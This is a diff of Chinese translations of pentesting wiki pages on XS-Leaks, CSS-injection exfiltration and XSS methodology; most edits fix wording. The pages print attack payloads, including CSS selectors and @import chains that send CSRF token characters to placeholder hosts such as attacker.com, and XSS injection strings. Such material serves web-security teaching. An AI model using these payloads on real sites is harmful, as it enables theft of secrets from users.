3. **不使用 Iframes 的下载导航**
3. **不使用 Iframe 的下载导航**
- 与 iframe 技术类似,此方法涉及使用 `window.open` 而不是 iframe。
- 监控新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航)或内容是否内联显示(发生导航)。
@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> 这就是为什么这个技术很有趣Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多详细信息[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> 这就是为什么这个技术很有趣Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论)
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接 **请求** 该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接请求该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
或者可以 **向可能被缓存的页面发送一些 fetch 并测量所需时间**。
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,14 +789,14 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** 可以尝试加载资源并在加载之前中断加载。根据是否触发错误,资源可能已被缓存或未被缓存。
- **Summary:** 可以尝试加载资源并在加载之前中断加载。根据是否触发错误,资源可能已被缓存或未被缓存。
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
使用 _**fetch**__**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存**将特定资源从浏览器缓存中驱逐。此外,该过程在不缓存新内容的情况下进行。
使用 _**fetch**__**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存** 并从浏览器缓存中驱逐特定资源。此外,该过程在不缓存新内容的情况下进行。
### Script Pollution
- **Inclusion Methods**: HTML 元素 (script)
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: 页面内容
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** 可以 **覆盖内置函数** 并读取其参数,即使是来自 **跨域脚本**(无法直接读取),这可能 **泄露有价值的信息**
@ -810,9 +810,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 测量使用服务工作者的网页的执行时间。
- **Code Example**:
在给定的场景中,攻击者主动在其域之一(特别是 "attacker.com"中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在给定的场景中,攻击者主动在其域名之一 "attacker.com" 中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在前一步发起的请求到达时,**服务工作者** 以 **204 (无内容)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获前面第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获了在第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
> [!WARNING]
> 在执行计时中,可以 **消除** **网络因素** 以获得 **更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
@ -847,16 +847,16 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Image Lazy Loading
如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**,您应该检查 **常见的悬挂标记技术**。\
但是,如果于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
但是,如果于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在被查看时加载,而不是在页面加载时:
```html
<img src=/something loading=lazy >
```
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。**\
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`。**\
然后,如果例如我们的**注入出现在标志之前****图像**将会**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要尝试放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的事情。
另一个选项是使用**scroll-to-text-fragment**(如果允许的话)
另一个选项是使用**scroll-to-text-fragment**,如果允许的话
#### Scroll-to-text-fragment
@ -872,9 +872,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
一些利用此漏洞的代码示例:[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### 基于时间的图像懒加载
### 基于图像懒加载时间
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **中使用的内容,概述如下:**
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) 中使用的内容,**总结如下:**
{{#ref}}
event-loop-blocking-+-lazy-images.md
@ -902,7 +902,7 @@ css-injection/
## 防御
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和每个 wiki 部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
## 参考

View File

@ -19,7 +19,7 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不加载背景。
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不加载背景。
#### 绕过隐藏元素的限制
@ -29,7 +29,7 @@ input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
一个利用此技术的实际例在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。
一个利用此技术的实际例在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。
#### CSS 注入的先决条件
@ -52,7 +52,7 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
结合以下的 **@import** 技术,可以从盲页面中通过 **CSS 注入泄露大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
结合以下的 **@import** 技术,可以从盲页中通过 **CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
### @import
@ -60,34 +60,34 @@ background: url(/m);
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术的质量。
这首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,工作原理如下:
这首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,工作原理如下:
我们将不再一次又一次地加载同一页面,每次使用数十个不同的有效载荷(如前面所述),而是 **只加载页面一次,并仅通过导入到攻击者的服务器**(这是发送给受害者的有效载荷)
我们将 **只加载一次页面,并仅通过导入到攻击者的服务器**(这是发送给受害者的有效载荷)
```css
@import url("//attacker.com:5001/start?");
```
1. 导入将会**接收一些来自攻击者的 CSS 脚本**,并且**浏览器将加载它**。
2. 攻击者发送的 CSS 脚本的第一部分是**另一个 `@import` 到攻击者的服务器**。
1. 攻击者的服务器不会立即响应这个请求,因为我们想要泄露一些字符,然后用有效负载响应这个导入以泄露下一个字符。
3. 有效负载的第二部分和更大部分将是一个**属性选择器泄露有效负载**。
1. 导入将会**接收一些来自攻击者的CSS脚本**,并且**浏览器将加载它**。
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
1. 攻击者的服务器尚未响应此请求,因为我们想要泄露一些字符,然后用有效负载响应此导入以泄露下一个字符。
3. 有效负载的第二部分和更大部分将是**属性选择器泄露有效负载**。
1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤 2 中请求的导入**。
1. 响应将与**步骤 2、3 4**完全相同,但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**。
1. 响应将与**步骤2、3和4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。
攻击者将**遵循这个循环,直到完全泄露秘密**。
您可以在这里找到原始的[**Pepe Vila 的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但有注释**](./#css-injection)。
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但有注释**](#css-injection)。
> [!NOTE]
> 脚本将尝试每次发现 2 个字符(从开头和结尾),因为属性选择器允许做如下事情:
> 脚本将尝试每次发现2个字符从开头和结尾因为属性选择器允许做如下事情
>
> ```css
> /* value^= 匹配值的开头*/
> /* value^= 匹配值的开头 */
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= 匹配值的结尾*/
> /* value$= 匹配值的结尾 */
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
@ -96,15 +96,15 @@ background: url(/m);
> 这使得脚本能够更快地泄露秘密。
> [!WARNING]
> 有时脚本**无法正确检测到前缀 + 后缀发现是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
> 有时脚本**无法正确检测到前缀+后缀发现的已经是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
> 不用担心,只需检查**输出**,因为**您可以在那里看到标志**。
### 其他选择器
使用**CSS 选择器**访问 DOM 部分的其他方法:
使用**CSS选择器**访问DOM部分的其他方法
- **`.class-to-search:nth-child(2)`**:这将搜索 DOM 中类为 "class-to-search" 的第二个项目。
- **`:empty`** 选择器:例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`**这将搜索DOM中类为"class-to-search"的第二个项目。
- **`:empty`**选择器:例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
```css
[role^="img"][aria-label="1"]:empty {
@ -112,11 +112,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### 基于错误的 XS-Search
### 基于错误的XS-Search
**参考:** [基于 CSS 的攻击:滥用 @font-face unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)[基于错误的 XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**参考:** [基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)[基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为 'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**。
```html
<!DOCTYPE html>
<html>
@ -152,9 +152,9 @@ font-family: "poc";
### 样式滚动到文本片段
**`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS 选择器第 4 版规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 不会匹配任何元素,除非文本被片段明确定位
**`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 只有在文本被片段明确定位时才会匹配任何元素
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
```css
:target::before {
content: url(target.png);
@ -164,13 +164,13 @@ content: url(target.png);
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
这里,攻击利用 HTML 注入来传输 CSS 代码,针对特定文本 "Administrator" 通过 Scroll-to-text fragment (`#:~:text=Administrator`)。如果找到该文本,指示的资源将被加载,无意中向攻击者发出其存在的信号。
这里,攻击利用 HTML 注入来传输 CSS 代码,针对特定文本 "Administrator" 通过 Scroll-to-text fragment (`#:~:text=Administrator`)。如果找到该文本,则加载指示的资源,无意中向攻击者发出其存在的信号。
为了缓解,以下几点应注意:
1. **受限的 STTF 匹配**Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意秘密或令牌的能力。
2. **限制在顶级浏览上下文中**STTF 仅在顶级浏览上下文中操作,不在 iframe 内部工作,使任何利用尝试对用户更为明显。
3. **用户激活的必要性**STTF 需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互)可能会简化攻击的自动化。
3. **用户激活的必要性**STTF 需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互)可能会简化攻击的自动化。
了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
@ -180,7 +180,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
您可以为特定的 unicode 值指定 **外部字体**,这些字体只有在页面中存在这些 unicode 值时才会**收集**。例如:
您可以为特定的 unicode 值指定 **外部字体**,这些字体 **仅在页面中存在这些 unicode 值时** **收集**。例如:
```html
<style>
@font-face {
@ -216,14 +216,14 @@ htm
1. **创建自定义字体**
- SVG 字体是具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
- SVG 字体是通过具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
- 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
- 然后使用 fontforge 将这些字体转换为 woff 格式。
2. **检测宽度变化**
- 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
- 水平滚动条的出现,样式明显作为指示器oracle表明文本中存在特定的连字因此存在特定的字符序列。
- 水平滚动条的出现,样式独特作为指示器oracle表明文本中存在特定的连字因此存在特定的字符序列。
- 涉及的 CSS
```css
body {
@ -249,7 +249,7 @@ background: url(http://attacker.com/?leak);
- 当前使用 `<meta refresh=...` 的初始化方法并不理想。
- 更有效的方法可能涉及 CSS `@import` 技巧,提高利用的性能。
### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
@ -275,7 +275,7 @@ B
在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,后者明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,只是表明发生了重复。
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
> [!NOTE]
> 基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
@ -710,7 +710,7 @@ background: blue var(--leak);
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
这个案例与之前的非常相似,然而,在这个案例中,特定字符比其他字符更大的目标是**隐藏某些东西**比如一个按钮不被机器人点击,或者一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
这个案例与之前的非常相似,然而,在这个案例中,特定字符比其他字符更大的目标是**隐藏某些东西**例如一个按钮,以防被机器人点击,或者一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
### 文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -726,13 +726,13 @@ unicode-range: U+0041;
```
如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:但是,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
### 文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样,您可以**测量所需的时间**,并找出某个字符是否出现,方法
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样,您可以**测量所需的时间**,并找出某个字符是否出现,方法如下
```css
@font-face {
font-family: "A1";
@ -747,7 +747,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
所以,如果字体不匹配,访问机器人时的响应时间预计为大约 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间会更长。因此,响应时间可以用作判断是否存在字体匹配的指标。
因此,如果字体不匹配,访问机器人时的响应时间预计为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间将更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
## 参考文献

View File

@ -2,7 +2,7 @@
## 方法论
1. 检查 **任何你控制的值** (_参数__路径__头部__cookies_) 是否在 HTML 中被 **反射****被** **JS** 代码 **使用**
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射****被** **JS** 代码 **使用**
2. **找到上下文**,查看它是如何被反射/使用的。
3. 如果 **被反射**
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
@ -10,7 +10,7 @@
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护措施吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS__VueJS__Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/) 吗?
2. 在 **HTML 标签** 内:
1. 你能退出到原始 HTML 上下文吗?
@ -35,11 +35,11 @@ debugging-client-side-js.md
## 反射值
为了成功利用 XSS首先你需要找到一个 **你控制的值并在网页中被反射**。
为了成功利用 XSS首先你需要找到一个 **你控制的值并在网页中被反射**。
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并在每次访问页面时被反射,你可以利用 **存储 XSS**。
- **通过 JS 访问**:如果你发现一个你控制的值通过 JS 被访问,你可以利用 **DOM XSS**
- **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
- **存储并反射**:如果你发现一个被你控制的值保存在服务器中,并在每次访问页面时被反射,你可以利用 **存储 XSS**。
- **通过 JS 访问**:如果你发现一个你控制的值通过 JS 被访问,你可以利用 **DOM XSS**
## 上下文
@ -54,10 +54,10 @@ debugging-client-side-js.md
如果你的输入在标签的属性值中被反射,你可以尝试:
1. **逃离属性和标签**(然后你将处于原始 HTML 中)并创建新的 HTML 标签来利用:`"><img [...]`
2. 如果你 **能逃离属性但不能逃离标签**`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法逃离属性**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,如果你控制整个值或仅部分值,你将能够利用它。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 内被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你需要某种社工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
1. **从属性和标签中逃脱**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
2. 如果你 **可以从属性中逃脱但不能从标签中逃脱**`>` 被编码或删除),根据标签你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法从属性中逃脱**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**,你将能够利用它。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 内被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你需要某种社工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
如果你控制一个类名Angular 执行 XSS 的奇怪例子:
```html
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会,因此您可以利用未声明的变量或函数的 XSS 场景。**\
Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会,因此您可以利用使用未声明的变量或函数的 XSS 场景。**\
**有关更多信息,请查看以下页面:**
{{#ref}}
@ -98,9 +98,9 @@ js-hoisting.md
![](<../../images/image (711).png>)
如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**
![](<../../images/image (747).png>)
@ -132,7 +132,7 @@ dom-xss.md
### **通用 XSS**
这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\
这种类型的 XSS 可以在**任何地方**找到。它们不仅仅依赖于对 Web 应用程序的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
一些**示例**
{{#ref}}
@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
## 在原始 HTML 中注入
当您的输入在**HTML 页面**中被反射,或者您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
对于这些情况,还**记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
对于这些情况,还**记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
&#xNAN;_**注意HTML 注释可以使用\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*或 \*\*\*\*\*\***`--!>`\*\**_
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效负载:
@ -162,11 +162,11 @@ alert(1)
<svg onload=alert('XSS')>
```
但是,如果使用了标签/属性的黑白名单,您需要**暴力破解可以创建的标签**。\
一旦您**找到了允许的标签**,您需要**暴力破解属性/事件**,以查看如何攻击该上下文。
一旦您**找到了允许的标签**,您需要**暴力破解有效标签内的属性/事件**,以查看如何攻击该上下文。
### 标签/事件暴力破解
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
